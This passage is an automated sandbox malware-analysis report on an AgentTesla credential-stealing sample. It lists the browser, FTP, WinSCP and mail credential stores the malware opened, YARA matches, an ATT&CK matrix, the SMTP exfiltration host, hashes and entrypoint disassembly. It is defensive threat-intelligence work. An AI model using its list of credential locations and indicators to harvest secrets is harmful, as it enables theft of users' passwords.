Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Code function: 0_2_00007FF7C5BBE6D0 GetSystemTimeAsFileTime,

0_2_00007FF7C5BBE6D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3327954890.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4munRyMrBm.exe PID: 5660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5324, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4munRyMrBm.exe PID: 5660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5324, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3327954890.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4munRyMrBm.exe PID: 5660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5324, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	1 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	36 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	1 Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4munRyMrBm.exe	71%	ReversingLabs	Win64.Spyware.Negasteal

Source	Detection	Scanner	Label
https://account.dyn.com/	0%	URL Reputation	safe
https://aka.ms/GlobalizationInvariantMode	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibilityY	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-c	0%	Avira URL Cloud	safe
http://smtp.ionos.com	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibility	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.ionos.com	74.208.5.2	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/GlobalizationInvariantMode	4munRyMrBm.exe	false	Avira URL Cloud: safe	unknown
http://smtp.ionos.com	CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	4munRyMrBm.exe, 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/nativeaot-c	4munRyMrBm.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibility	4munRyMrBm.exe, 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityY	4munRyMrBm.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityy	4munRyMrBm.exe	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
74.208.5.2	smtp.ionos.com	United States		8560	ONEANDONE-ASBrauerstrasse48DE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466968
Start date and time:	2024-07-03 15:54:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4munRyMrBm.exe renamed because original name is a hash value
Original Sample Name:	19b7b25564d95b2f1f3ed8904a5a1369445e9064c6e7e3ff4a058d5546cd38ea.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 58% Number of executed functions: 70 Number of non-executed functions: 50
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 4munRyMrBm.exe

Simulations

Behavior and APIs

Time	Type	Description
09:54:53	API Interceptor	19x Sleep call for process: CasPol.exe modified
09:54:53	API Interceptor	17x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
74.208.5.2	New PO -39850-1064 -2084-GEN101 -Order,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	PO# 2011-0227160-0365-06-24,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Purchase Order #2024-030-AC2021,pdf.exe	Get hash	malicious	AgentTesla	Browse
	rPO00140263___-Order.exe	Get hash	malicious	AgentTesla	Browse
	file.exe	Get hash	malicious	AgentTesla	Browse
	PO 3652300336-2024-Inquiry-Project Order pdf.exe	Get hash	malicious	AgentTesla	Browse
	New Order PO#01354759 .exe	Get hash	malicious	AgentTesla	Browse
	HS44892321-T01.exe	Get hash	malicious	AgentTesla	Browse
	eTSdG7txZz.exe	Get hash	malicious	AgentTesla, zgRAT	Browse
	CtL8aGCktL.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.ionos.com	New PO -39850-1064 -2084-GEN101 -Order,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	74.208.5.2
	PO# 2011-0227160-0365-06-24,xls.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	74.208.5.2
	Purchase Order #2024-030-AC2021,pdf.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	rPO00140263___-Order.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	file.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	PO 3652300336-2024-Inquiry-Project Order pdf.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	New Order PO#01354759 .exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	HS44892321-T01.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2
	eTSdG7txZz.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	74.208.5.2
	CtL8aGCktL.exe	Get hash	malicious	AgentTesla	Browse	74.208.5.2

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	217.160.223.34
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	217.160.0.85
	http://www.doneck.com	Get hash	malicious	Unknown	Browse	217.160.0.83
	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	74.208.46.171
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
	Att00173994.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	https://supp-review9482.eu/	Get hash	malicious	Unknown	Browse	212.227.67.33
	Inquiry No PJO-4010574.exe	Get hash	malicious	FormBook	Browse	217.160.0.85
	https://www.asarco.com/	Get hash	malicious	Unknown	Browse	74.208.236.164

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0v5czuty.3sr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3v3szqea.fmp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lswi5yq0.wwv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uo1kv32u.wya.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.014633465311287
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	4munRyMrBm.exe
File size:	1'919'488 bytes
MD5:	72f322c11bdcf5920ee23f6fffa7d0a7
SHA1:	7c93d6d0af8b5e333dbf2cb2e3df2943c7163103
SHA256:	19b7b25564d95b2f1f3ed8904a5a1369445e9064c6e7e3ff4a058d5546cd38ea
SHA512:	5a0f1741b654de6780f2eff6aa9b2cd265d68d54c96ce03a70b0699be326162a69864c9d7a385901bbea351717565d17a50150c1caedb0695e7acc0f0ad304cc
SSDEEP:	49152:BOD+bTI6YTDml4HJPHDQkOBU0f9iygcrxZ3aU5ZzIrRo2ht1R1ZvkwZJ:wv85
TLSH:	1A95BE15E3E801A8E577EB34CA629333CAB1B8561730E58F069CD2451F73EA19B7B316
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{.x...+...+...+^.....+^.....+^.....+.b.+...+.b....+...+o..+n.....+n.....+...+...+n.....+......+...*...+Rich...+.......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140060b78
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x667A0914 [Tue Jun 25 00:02:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8f2ed59ffaf0389477f5411c8b4c37fd

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FBB98FB22E4h
dec eax
add esp, 28h
jmp 00007FBB98FB1B37h
int3
int3
jmp 00007FBB98FB2670h
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FBB98FB1CD2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FBB98FB1CD5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FBB98FB1CCDh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007FBB98FB1CD6h
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
cmp ecx, dword ptr [00169919h]
jne 00007FBB98FB1CD2h
dec eax
rol ecx, 10h
test cx, FFFFh
jne 00007FBB98FB1CC3h
ret
dec eax
ror ecx, 10h
jmp 00007FBB98FB1F57h
int3

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1c6da0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c6df8	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e8000	0x3b100	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d7000	0x107dc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x224000	0x570	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a4fb0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1a5180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1a4e70	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x159000	0x730	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
